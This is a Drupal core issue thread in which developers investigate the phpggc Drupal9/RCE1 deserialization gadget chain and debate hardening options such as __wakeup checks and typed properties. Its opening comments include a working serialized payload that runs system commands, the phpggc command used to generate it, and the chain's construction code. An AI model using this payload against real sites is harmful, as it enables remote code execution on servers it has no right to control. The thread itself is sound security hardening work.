Harden Drupal against PHP Gadget Chain Drupal9/RCE1

Previous exampled used PHP 7.4 - here's PHP 8.1 with D9:

$ ddev drush php
Psy Shell v0.10.12 (PHP 8.1.16 — cli) by Justin Hileman
Drush Site-Install (Drupal 9.5.10-dev)
>>> var_dump(unserialize(urldecode('a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":1:{s:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3BO:32:"Laminas\Diactoros\RelativeStream":1:{s:49:"%00Laminas\Diactoros\RelativeStream%00decoratedStream"%3BO:26:"GuzzleHttp\Psr7\PumpStream":2:{s:34:"%00GuzzleHttp\Psr7\PumpStream%00source"%3Bs:1:"1"%3Bs:34:"%00GuzzleHttp\Psr7\PumpStream%00buffer"%3BO:32:"Drupal\Core\Config\CachedStorage":2:{s:10:"%00*%00storage"%3BO:32:"Drupal\Core\Config\MemoryStorage":1:{s:13:"%00*%00collection"%3Bs:0:""%3B}s:8:"%00*%00cache"%3BO:46:"Drupal\Component\DependencyInjection\Container":1:{s:21:"%00*%00serviceDefinitions"%3Ba:1:{i:1000000%3Bs:68:"a:2:{s:7:"factory"%3Bs:6:"system"%3Bs:9:"arguments"%3Ba:1:{i:0%3Bs:2:"id"%3B}}"%3B}}}}}}i:7%3Bi:7%3B}')));

PHP Deprecated:  Return type of GuzzleHttp\Cookie\CookieJar::count() should either be compatible with Countable::count(): int, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/html/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php on line 220
PHP Deprecated:  Return type of GuzzleHttp\Cookie\CookieJar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/html/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php on line 225

uid=1000(mcdruid) gid=1000(mcdruid) groups=1000(mcdruid)

<warning>PHP Warning:  Attempt to read property "data" on string in /var/www/html/core/lib/Drupal/Core/Config/CachedStorage.php on line 70</warning>
PHP Deprecated:  strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php on line 124
TypeError: call_user_func(): Argument #1 ($callback) must be a valid callback, function "1" not found or invalid function name

Had a look at this with Drupal 9.5.x and have learned a few interesting (to me anyway) things.

If we run unserialize() as a script from a file instead of using drush php we get a more detailed stack trace.

We can also look at the unserialised object if we omit the --fast-destruct option when preparing the payload:

$ ./phpggc -s Drupal9/RCE1 system uname

O:31:"GuzzleHttp\Cookie\FileCookieJar":1:{s:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3BO:32:"Laminas\Diactoros\RelativeStream":1:{s:49:"%00Laminas\Diactoros\RelativeStream%00decoratedStream"%3BO:26:"GuzzleHttp\Psr7\PumpStream":2:{s:34:"%00GuzzleHttp\Psr7\PumpStream%00source"%3Bs:1:"1"%3Bs:34:"%00GuzzleHttp\Psr7\PumpStream%00buffer"%3BO:32:"Drupal\Core\Config\CachedStorage":2:{s:10:"%00*%00storage"%3BO:32:"Drupal\Core\Config\MemoryStorage":1:{s:13:"%00*%00collection"%3Bs:0:""%3B}s:8:"%00*%00cache"%3BO:46:"Drupal\Component\DependencyInjection\Container":1:{s:21:"%00*%00serviceDefinitions"%3Ba:1:{i:1000000%3Bs:71:"a:2:{s:7:"factory"%3Bs:6:"system"%3Bs:9:"arguments"%3Ba:1:{i:0%3Bs:5:"uname"%3B}}"%3B}}}}}}

I'm then putting that into the script:

$ cat test.php 
<?php

$payload = 'O:31:"Guzzle ...snip - as above... 3B}}}}}}';

print_r(unserialize(urldecode($payload)));

Running that with PHP 8.1.. here's the print_r of the object:

$ ddev drush scr test.php
GuzzleHttp\Cookie\FileCookieJar Object
(
    [cookies:GuzzleHttp\Cookie\CookieJar:private] => Array
        (
        )

    [strictMode:GuzzleHttp\Cookie\CookieJar:private] => 
    [filename:GuzzleHttp\Cookie\FileCookieJar:private] => Laminas\Diactoros\RelativeStream Object
        (
            [decoratedStream:Laminas\Diactoros\RelativeStream:private] => GuzzleHttp\Psr7\PumpStream Object
                (
                    [source:GuzzleHttp\Psr7\PumpStream:private] => 1
                    [size:GuzzleHttp\Psr7\PumpStream:private] => 
                    [tellPos:GuzzleHttp\Psr7\PumpStream:private] => 0
                    [metadata:GuzzleHttp\Psr7\PumpStream:private] => 
                    [buffer:GuzzleHttp\Psr7\PumpStream:private] => Drupal\Core\Config\CachedStorage Object
                        (
                            [storage:protected] => Drupal\Core\Config\MemoryStorage Object
                                (
                                    [config:protected] => 
                                    [collection:protected] => 
                                )

                            [cache:protected] => Drupal\Component\DependencyInjection\Container Object
                                (
                                    [parameters:protected] => Array
                                        (
                                        )

                                    [aliases:protected] => Array
                                        (
                                        )

                                    [serviceDefinitions:protected] => Array
                                        (
                                            [1000000] => a:2:{s:7:"factory";s:6:"system";s:9:"arguments";a:1:{i:0;s:5:"uname";}}
                                        )

                                    [services:protected] => Array
                                        (
                                        )

                                    [privateServices:protected] => Array
                                        (
                                        )

                                    [loading:protected] => Array
                                        (
                                        )

                                    [frozen:protected] => 1
                                )

                            [findByPrefixCache:protected] => Array
                                (
                                )

                            [_serviceIds:protected] => Array
                                (
                                )

                            [_entityStorages:protected] => Array
                                (
                                )

                        )

                )

            [offset:Laminas\Diactoros\RelativeStream:private] => 
        )

    [storeSessionCookies:GuzzleHttp\Cookie\FileCookieJar:private] => 
)
Linux

...and the stack trace / error messages:

 [warning] Attempt to read property "data" on string CachedStorage.php:83
 [error]  TypeError: call_user_func(): Argument #1 ($callback) must be a valid callback, function "1" not found or invalid function name in call_user_func() (line 160 of /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php) #0 /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php(160): call_user_func('1', 1000000)
#1 /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php(129): GuzzleHttp\Psr7\PumpStream->pump(1000000)
#2 /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php(141): GuzzleHttp\Psr7\PumpStream->read(1000000)
#3 /var/www/html/vendor/longwave/laminas-diactoros/src/RelativeStream.php(156): GuzzleHttp\Psr7\PumpStream->getContents()
#4 /var/www/html/vendor/longwave/laminas-diactoros/src/RelativeStream.php(39): Laminas\Diactoros\RelativeStream->getContents()
#5 [internal function]: Laminas\Diactoros\RelativeStream->__toString()
#6 /var/www/html/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php(60): file_put_contents(Object(Laminas\Diactoros\RelativeStream), '[]', 2)
#7 /var/www/html/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php(40): GuzzleHttp\Cookie\FileCookieJar->save(Object(Laminas\Diactoros\RelativeStream))
#8 /var/www/html/test.php(5): GuzzleHttp\Cookie\FileCookieJar->__destruct()
#9 /var/www/html/vendor/drush/drush/src/Commands/core/PhpCommands.php(111): include('/var/www/html/t...')
#10 [internal function]: Drush\Commands\core\PhpCommands->script(Array, Array)

...snip - the rest is drush internals...

I'll preface the following observations with "as far as I can see..." to avoid repeating that lots of times :) This is based on reading the PHP docs and some experimental tinkering.

Looking at the errors / messages:

[warning] Attempt to read property "data" on string CachedStorage.php:83

If we look at the constructor for the \Drupal\Core\Config\CachedStorage:

  /**
   * Constructs a new CachedStorage.
   *
   * @param \Drupal\Core\Config\StorageInterface $storage
   *   A configuration storage to be cached.
   * @param \Drupal\Core\Cache\CacheBackendInterface $cache
   *   A cache backend used to store configuration.
   */
  public function __construct(StorageInterface $storage, CacheBackendInterface $cache) {
    $this->storage = $storage;
    $this->cache = $cache;
  }

I was initially thinking "so how can $cache be a string?".

Turns out that when the payload is being unserialized.. the constructor is not run, so the type hints / declarations don't offer any protection here.

That's why the exploit can get away with - e.g. creating properties on the objects that are not part of the constructor, and are not the correct types.

So for example.. https://github.com/ambionics/phpggc/blob/master/gadgetchains/Drupal9/RCE...

namespace GuzzleHttp\Psr7
{
    class PumpStream
    {
        private $source;
        private $buffer;

        public function __construct($buffer)
        {
            $this->source = "1";
            $this->buffer = $buffer;
        }

That's not what the upstream constructor does:

https://github.com/guzzle/psr7/blob/1.9.1/src/PumpStream.php#L46

  public function __construct(callable $source, array $options = [])
    {
        $this->source = $source;
        $this->size = isset($options['size']) ? $options['size'] : null;
        $this->metadata = isset($options['metadata']) ? $options['metadata'] : [];
        $this->buffer = new BufferStream();
    }

So despite the fact that $buffer is a private property of this object which is set to a new BufferStream object when the constructor runs, the gadget is able to inject a completely different object into that property.

The chain is: https://github.com/ambionics/phpggc/blob/master/gadgetchains/Drupal9/RCE...

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        return (
            new \GuzzleHttp\Cookie\FileCookieJar(
                new \Laminas\Diactoros\RelativeStream(
                    new \GuzzleHttp\Psr7\PumpStream(
                        new \Drupal\Core\Config\CachedStorage(
                            new \Drupal\Core\Config\MemoryStorage(),
                            new \Drupal\Component\DependencyInjection\Container(
                                ["1000000"=>serialize(["factory"=>$function, "arguments"=>[$parameter]])]
                                )
                        )
                    )
                )
            )
        );

...and that's how we end up with CachedStorage object being treated as the $buffer within the PumpStream.

So given that, we're now effectively into collisions / overlaps between method names on different objects.

\GuzzleHttp\Psr7\BufferStream has a read() method, and so does \Drupal\Core\Config\CachedStorage

So that's how we end up with these steps in the call stack:

• \GuzzleHttp\Psr7\PumpStream->getContents()
• \Drupal\Core\Config\CachedStorage->read()

I think that's pretty clever.

So what can we do about this?

Initially I thought we could try adding something like this to \Drupal\Core\Config\CachedStorage

  public function __wakeup() {
   if (!in_array('CacheBackendInterface', class_implements($this->cache))) {
     throw new \Exception('A jolly rancher is not a sprinkle: ' . __FUNCTION__);
    }
  }

My thinking being, if the constructor doesn't run, perhaps instead we can use __wakeup() to do a sanity check on the object properties.

https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup

However this sadly does not seem to work. I'm not entirely sure why.

It does work if we check the property within the read method too:

  public function read($name) {
   
    if (!in_array('CacheBackendInterface', class_implements($this->cache))) {
      throw new \Exception('A jolly rancher is not a sprinkle: ' . __FUNCTION__);
    }
    
    $cache_key = $this->getCacheKey($name);
    if ($cache = $this->cache->get($cache_key)) {

Now if I run the test script:

$ ddev drush scr test.php

In CachedStorage.php line 74:
                                           
  A jolly rancher is not a sprinkle: read  
                                           

In CachedStorage.php line 54:
                                               
  A jolly rancher is not a sprinkle: __wakeup  
                                               

Failed to run drush scr test.php: exit status 1

I'm not sure why this is, but it looks like doing the check only in __wakeup is not sufficient.

I'm just experimenting at this stage; I don't think we actually want to add pre-flight checks to every method that could be abused... it's a shame if we can't do so with __wakeup on certain classes though.

Am I missing something here?

I'm wondering whether the fact that __wakeup() is apparently not being called in time to prevent the exploit is because of something like this:

https://github.com/php/php-src/issues/9618

Doing a basic test of creating a valid object, and running it through serialize/unserialize suggests that the check should work.

This is pretty crude but...

<?php

namespace Drupal\KernelTests\Core\Config\Storage;

use Drupal\Core\Config\FileStorage;
use Drupal\Core\Config\CachedStorage;
use Drupal\Core\StreamWrapper\PublicStream;

    $dir = PublicStream::basePath() . '/config';
    $fileStorage = new FileStorage($dir);
    $storage = new CachedStorage($fileStorage, \Drupal::service('cache.config'));

    $o = new \stdClass();
    $o->name = 'test wrapper';
    $o->property = $storage;

    $s = serialize($o);

    var_dump(unserialize($s));

Then in \Drupal\Core\Config\CachedStorage deliberately set the cache property to something invalid and do the check at the same time in __wakeup():

  public function __wakeup() {
    $this->cache = new \stdClass();
    if (!in_array('CacheBackendInterface', class_implements($this->cache))) {
      throw new \Exception('A jolly rancher is not a sprinkle: ' . __FUNCTION__);
    }
  }

Running the script:

$ ddev drush scr test2.php 

In CachedStorage.php line 55:
                                               
  A jolly rancher is not a sprinkle: __wakeup

All quite rudimentary but suggests to me that when the object is unserialized, its __wakeup() method should be running (which is how it should work based on my understand of the PHP docs).

Perhaps it's because multiple other errors are happening when the payload is unserialized that it's apparently not running before the exploit successfully calls call_user_func_array() in \Drupal\Component\DependencyInjection\Container::createService ?

Some of the comments in the linked PHP issue https://github.com/php/php-src/issues/9936 suggest that this is a feature not a bug... e.g:

... trying to prevent attacks via ::__wakeup() is never a proper solution.

Which is fine if you control the entire application... a bit more tricky if you're trying to write a secure framework that others extend and sometimes do ill-advised things with :)

Short of adding checks all over the place to ensure that unexpected things have not been injected into (even private, type-hinted) properties, I'm not certain what else Drupal can do to protect against this sort of abuse.

We could add specific code to prevent this particular chain (which won't work in D10 as some of the dependencies have been removed), but is there any more general hardening we can do?

FWIW other projects do seem to use __wakeup() to protect classes - e.g.:

https://github.com/guzzle/psr7/blob/2.6/src/FnStream.php#L61

...and symfony has several methods like these:

https://github.com/symfony/process/blob/6.3/Process.php#L203

https://github.com/symfony/http-kernel/blob/6.3/Kernel.php#L838

...although it's less clear whether those are always security protections.

Changing to 9.5.x for now as we know that some of the classes in the chain are no longer in D10.

Here's an MR with a small check in \Drupal\Component\DependencyInjection\Container::createService that should bail out under the very specific conditions created by the gadget chain.

I don't think it'd be too hard to work around this and end up passing arbitrary input to call_user_func_array() elsewhere in the method, but this would at least stop the existing gadget from working.

I did also try implementing __wakeup() in the Container class, but again without success.

...jumping through hoops to try avoid the lint-type checks.

I'm not certain we'd want to implement this check exactly like this anyway - this is a bit of a proof of concept to block the exploit.

We may want to avoid the check relying on $definition['factory'] for example; as mentioned I think an attacker could use a variation to pass their input to one of the other calls to call_user_func[_array].

I'm also not sure if there's a better way of sanity-checking the call stack than using strings in a backtrace like this?

mcdruid → credited cmlara → .

Trying out adding type-hints to the properties on \Drupal\Core\Config\CachedStorage per suggestion by @cmlara in chat.

It looks like this prevents the exploit from running, but it could have an impact on minimum required PHP version etc..

Does it break anything in the test suite?

Test results between #12 and #13 show that this works okay on PHP 7.4 but not 7.3 where we end up with errors like:

ParseError: syntax error, unexpected 'StorageInterface' (T_STRING), expecting function (T_FUNCTION) or const (T_CONST)

/var/www/html/core/lib/Drupal/Core/Config/CachedStorage.php:23

I'm not sure whether this is acceptable given the minimum PHP requirements for 9.5.x which currently say:

Drupal 9.4 dropped official support for PHP 7.3, and Drupal 9.4 and above automatically drop support for PHP versions no longer supported by the PHP maintainers. Drupal 9 sites on PHP 7.3 and PHP 7.4 may still be installed and updated to the next minor version (with a warning), but their security coverage is not guaranteed unless they update to a supported PHP version.

https://www.drupal.org/docs/getting-started/system-requirements/php-requ... →

I'm not sure if we can minimise incompatibility by trying to provide different definitions for the properties depending on PHP versions. Sounds a bit messy.

I am also not aware of whether there is an overall initiative to add type-hinting to class properties in D10.

I am also not aware of whether there is an overall initiative to add type-hinting to class properties in D10.

See #3291517: [policy, no patch] Use type declarations for new class properties → and linked issues.

Looks to me like we'd be okay to propose adding the typed properties (and removing the redundant annotation) here.

...and it sounds like the idea would be to do this in new classes as opposed to sweeping through existing code?

One question is whether we'd get this into 9.5.x for Drupal\Core\Config\CachedStorage

Doing so would stop the gadget from working, so I'd argue it'd be worth doing. It would mean PHP 7.4 or later would be required though, unless we did some sort of BC layer.

Chatted with @longwave about this.

9.5.x is Security support only, and that's only for about another 3 months.

This is hardening as opposed to a patch for an exploitable vulnerability, so it's not worth doing a security release of 9.5 just for this.

We also cannot knowingly break support for PHP 7.3 in 9.5.x, which adding the type declarations on the class properties would do.

So I don't think this is going to be addressed in 9.5.x

I've added a comment in #3278431-38: Use PHP 8 constructor property promotion → to +1 adding type declarations on class properties in D10, mentioning that it would help avoid deserialisation gadget chains like this one.

I think that might be it for this issue... and we can probably close it as "won't fix".

Thank you to everyone that helped explore the options.

Redirecting issue reference as per https://www.drupal.org/project/coding_standards/issues/3291517#comment-1... →

Thanks for updating the related issue.

Restoring previous status though as not sure what's new to review? @mcdruid mentioned in #17 why he closed?

Ahh sorry, I have changed the status by accident.

Re-opening following a discussion with some of the Security Team, including @effulgentsia.

Would the Release Managers consider a final release of 9.5.x which added the typed properties in the relevant class, on the basis that this release would not be compatible with PHP 7.3 but would be protected from this PHP gadget?

The idea would be any sites that are stuck on 9.5 for a while (for whatever reason) could deploy that release for a little extra protection so long as they were not relying on compatibility with PHP 7.3.

Tagging and will raise this with the other RMs.

If we release on 9.5.x and drop support for PHP 7.3, that would prevent us from releasing any 9.5 security fix that's compatible with 7.3, unless we do something completely bizarre with tags.

So the only way I could see this working without a hard drop of PHP 7.3 support would be to release Drupal 9.6 three months before EOL, which doesn't seem good either.

Seems like this would introduce real problems to fix a theoretical one.

To be clear, the idea in #22 would be to make the release in Nov. 2023, exactly on the EOL date (or very close to it). Whether we call that 9.5.LAST or 9.6. Essentially it would be saying, D9 is EOL so our promise of PHP 7.3 support until EOL has been fulfilled. But since we know that some people do in fact continue running EOL versions for a while, we'd be helping to give those people a little extra defense in depth from RCE.

To be clear, the idea in #22 would be to make the release in Nov. 2023, exactly on the EOL date (or very close to it).

That makes more sense, but it doesn't really change the evaluation. Let's say Symfony or ckeditor4 does a security release on December 1st a week after this final 9.5 release comes out, something for which we'd probably do a 'bonus' release of 9.5 of beyond its EOL date, what do we do then?

I'd say we do that bonus release, and people on PHP 7.3 are out of luck. I don't think there's any good reason for us to still be supporting PHP 7.3 other than we said we would until November.

If we make the release dropping PHP 7.3 a bonus release too (i.e. the day after whatever the 'official' EOL date is), then that would probably be fair enough on the PHP 7.3 front.

I haven't read mcdruid's comments in detail.but is there no other compatible way of protecting against this, e.g. adding an instanceof check somewhere in the exploitable chain of methods?

I tried a few things along those lines - e.g. in #5 adding a check like this to a _wakeup() method in the \Drupal\Core\Config\CachedStorage class:

{code}
if (!in_array('CacheBackendInterface', class_implements($this->cache))) {
// yikes - bail out
}
{code}

That didn't seem to work; it looks like the wakeup method isn't called early enough to prevent the exploit if that's the only protection that's added (not especially clear on the details of why, but I added some notes in earlier comments).

I also tried adding similar checks to the \Drupal\Core\Config\CachedStorage::read() method that's actually called in the exploit chain.

I think that does work, but it seems far from ideal to be doing that every time the method is called as opposed to only when an object is woken from serialisation slumber.

Perhaps if the cost is not as bad as I'm assuming, that'd be a way to add protection without requiring PHP > 7.3 though.

I also wondered if we could do something like:

  /**
   * The configuration storage to be cached.
   *
   * @var \Drupal\Core\Config\StorageInterface
   */
  if (PHP_VERSION_ID >= 70400) {
    protected StorageInterface $storage;
  }
  else {
    protected $storage;
  }

...but apparently not.

$ php -l core/lib/Drupal/Core/Config/CachedStorage.php
PHP Parse error:  syntax error, unexpected token "if", expecting "function" or "const" in core/lib/Drupal/Core/Config/CachedStorage.php on line 23

$ php -v
PHP 8.1.2-1ubuntu2.14 (cli) (built: Aug 18 2023 11:41:11) (NTS)

The whole class can be defined in an if statement, but yeah not methods/parameters.

Looks like this can be "Closed (won't fix)" as there are no plans for further D9 releases (and it's not obvious what we'd do to fix it without changing minimum PHP requirements or adding ugly workarounds).

Another reason not to stay on D9.